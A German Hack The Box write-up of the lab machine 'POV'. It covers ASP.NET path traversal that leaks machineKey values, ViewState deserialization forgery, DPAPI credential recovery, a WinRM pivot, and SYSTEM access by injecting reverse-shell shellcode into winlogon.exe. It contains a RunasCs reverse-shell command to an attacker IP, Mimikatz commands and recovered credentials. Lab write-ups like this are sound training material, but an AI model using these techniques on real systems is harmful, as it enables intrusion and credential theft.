HTB · published
POV
Hack The Box CPTS-Track Writeup für POV: ASP.NET Arbitrary File Read, machineKey Disclosure, ViewState Forgery, DPAPI Credential Recovery, WinRM Pivot und SeDebugPrivilege zu SYSTEM.
Metadaten
- Name: POV
- IP Address:
10.129.230.183 - Plattform: Windows
- Kategorie: ASP.NET / ViewState / DPAPI / WinRM / SeDebugPrivilege
- Schwierigkeit: Medium
- Ziel(e): User, Root / SYSTEM
- Kurzbeschreibung: POV ist ein Windows-IIS-Ziel mit einer öffentlichen Webseite und einem ASP.NET-Development-vHost. Eine CV-Download-Funktion erlaubt Windows-Backslash-Traversal und leakt die übergeordnete
web.configinklusive statischermachineKey-Werte. Damit lässt sich ein verschlüsseltes ViewState-Payload fälschen und Code alspov\sfitzausführen. Ein DPAPI-geschütztesPSCredentialführt zualaading; dessenSeDebugPrivilegeermöglicht SYSTEM-Codeausführung durch Injection inwinlogon.exe.
Executive Summary
Der initiale Einstieg entstand über dev.pov.htb. Die Portfolio-Anwendung hatte eine Datei-Download-Funktion für cv.pdf. Durch Windows-Backslash-Traversal konnte ..\web.config gelesen werden. Die Datei enthielt statische ASP.NET-machineKey-Werte:
validation="SHA1"
decryption="AES"
Mit diesen Keys wurde ein verschlüsselter und signierter ViewState erzeugt, der einen LosFormatter-Deserialization-Payload enthielt. Das lieferte eine Reverse Shell als pov\sfitz.
In sfitz’ Dokumenten lag ein DPAPI-geschütztes PSCredential, das im Kontext von sfitz entschlüsselt werden konnte:
alaading / f8gQ8fynP44ek1m3
Über internes WinRM wurde zu alaading gewechselt und die User-Flag gelesen. Für Root wurde ein voller lokaler alaading-Prozess mit RunasCs gestartet. alaading besaß SeDebugPrivilege; ein eigener Injector schrieb x64-Reverse-Shellcode in winlogon.exe und erzeugte eine SYSTEM-Shell.
Flags:
- User:
5e63c[REDACTED-USER-FLAG]aa03 - Root:
a7bda[REDACTED-ROOT-FLAG]6839
Reconnaissance / Enumeration
ICMP zeigte mit TTL 127 ein Windows-Ziel.
Der relevante TCP-Scan fand nur IIS:
80/tcp open http Microsoft IIS httpd 10.0
UDP Top-Port-Sampling fand keinen bestätigten offenen Dienst.
Die öffentliche Seite zeigte Hinweise auf:
pov.htb
dev.pov.htb
sfitz@pov.htb
Der Development-vHost wurde lokal aufgelöst und leitete weiter:
http://dev.pov.htb/portfolio/
ASP.NET Arbitrary File Read
Die Portfolio-Seite enthielt eine CV-Download-Funktion:
<input type="hidden" name="file" id="file" value="cv.pdf" />
Ein legitimer Download von cv.pdf wurde reproduziert. Danach wurde Traversal getestet.
Forward-Slash-Traversal wurde verworfen, aber Windows-Backslashes funktionierten:
file=..\web.config
Dadurch wurde die übergeordnete ASP.NET-Konfiguration gelesen.
Die wichtigsten Werte:
validation="SHA1"
decryption="AES"
validationKey="5620D3D029F914F4CDF25869D24EC2DA517435B200CCF1ACFA1EDE22213BECEB55BA3CF576813C3301FCB07018E605E7B7872EEACE791AAD71A267BC16633468"
decryptionKey="74477CEBDD09D66A4D4A8C8B5082A4CF9A15BE54A94F6F80D5E822F347183B43"
Damit war ViewState-Forgery möglich.
ViewState Forgery
Die Anwendung verwendete verschlüsselten ASP.NET ViewState. Ein lokaler Helper reproduzierte die .NET-4.5-SP800-108-Ableitung, AES-CBC-Verschlüsselung und HMAC-SHA1-Signatur.
Relevante ViewState-Kontexte:
TemplateSourceDirectory: /PORTFOLIO
Type: PORTFOLIO_DEFAULT_ASPX
Der Payload wurde mit einem LosFormatter-Gadget erzeugt und mit den geleakten Keys geschützt. Ein HTTP-Callback bestätigte zunächst Code Execution; danach wurde auf eine PowerShell-Reverse-Shell gewechselt.
Initiale Identität:
pov\sfitz
Foothold
Die ViewState-RCE lieferte eine Shell als sfitz.
Wichtige Erkenntnis: Externe SMB-/WinRM-Ports waren gefiltert, intern aber erreichbar. Daher war der nächste Schritt lokale Credential Recovery.
Credential Recovery: DPAPI PSCredential
In den Dokumenten von sfitz lag:
C:\Users\sfitz\Documents\connection.xml
Die Datei war ein DPAPI-geschützter PowerShell-Credential-Export. Da die Shell im Kontext von sfitz lief, konnte PowerShell die Datei entschlüsseln:
$cred = Import-Clixml C:\Users\sfitz\Documents\connection.xml
$cred.UserName
$cred.GetNetworkCredential().Password
Gefundene Credentials:
alaading / f8gQ8fynP44ek1m3
Lateral Movement zu alaading
Internes WinRM auf localhost:5985 akzeptierte die Credentials:
Invoke-Command -ComputerName localhost -Credential $cred -ScriptBlock {
whoami
Get-Content C:\Users\alaading\Desktop\user.txt
whoami /priv
}
Ergebnis:
pov\alaading
SeDebugPrivilege Debug programs Disabled
User Flag
Get-Content C:\Users\alaading\Desktop\user.txt
5e63c[REDACTED-USER-FLAG]aa03
Privilege Escalation Enumeration
Die WinRM-Session lieferte nur einen gefilterten lokalen Token. Deshalb wurde mit RunasCs.exe und dem bekannten Passwort ein voller lokaler Prozess als alaading erzeugt:
RunasCs.exe alaading f8gQ8fynP44ek1m3 cmd.exe -r 10.10.15.109:6666
Mimikatz wurde zur Verifikation genutzt:
privilege::debug
Privilege '20' OK
token::elevate
SID name : NT AUTHORITY\SYSTEM
Damit war klar: SeDebugPrivilege lässt sich aktivieren und ein SYSTEM-Token ist erreichbar.
Privilege Escalation: SeDebug Injection
Für eine direkte SYSTEM-Shell wurde ein eigener Injector verwendet:
sedebug_inject.exe system_shellcode.bin
Der Injector:
- aktivierte
SeDebugPrivilege, - suchte
winlogon.exe, - allozierte ausführbaren Speicher im Zielprozess,
- schrieb x64-Reverse-Shellcode,
- startete den Payload via
CreateRemoteThread.
Ergebnis:
injected 460 bytes into winlogon.exe pid 556
nt authority\system
Root Flag
type C:\Users\Administrator\Desktop\root.txt
a7bda[REDACTED-ROOT-FLAG]6839
Post-Exploitation
- Foothold: ASP.NET ViewState Forgery über geleakte
machineKey-Werte. - Initial User:
pov\sfitz. - Credential Recovery: DPAPI
PSCredentialausconnection.xml. - User Pivot: WinRM zu
pov\alaading. - User-Flag:
C:\Users\alaading\Desktop\user.txt. - Root:
SeDebugPrivilege+ Injection inwinlogon.exe. - Root-Flag:
C:\Users\Administrator\Desktop\root.txt. - Cleanup: Übertragene Binaries, Shellcode, Proof-Dateien und temporäre Source-Files wurden aus
C:\Users\PublicundC:\Windows\Tempentfernt.
Lessons Learned
- Windows-Pfade separat testen: Datei-Download-Kontrollen können
/filtern, aber\akzeptieren. machineKeyist kritisch: Static ASP.NETmachineKey-Werte machen aus File Read schnell vertrauenswürdige ViewState-Forgery.- DPAPI schützt kontextabhängig: Wenn Code im exportierenden Benutzerkontext läuft, können
PSCredential-Exports entschlüsselt werden. - WinRM-Token prüfen: Lokale Accounts können gefilterte Tokens bekommen; effektive Privileges im echten Ausführungskontext zählen.
SeDebugPrivilegeist stark: Mit Debug-Rechten kann SYSTEM-Codeausführung über geeignete Prozesse wiewinlogon.exeerreicht werden.
Notizen
- Der lokale Python-Protector wurde genutzt, weil Mono im gewählten Setup nicht alle benötigten Windows/WPF-Assemblies für einen kompatiblen ViewState-Flow bereitstellte.
- Mimikatz diente nur als Verifikationshilfe; der finale SYSTEM-Weg war direkter Shellcode-Injection-Code.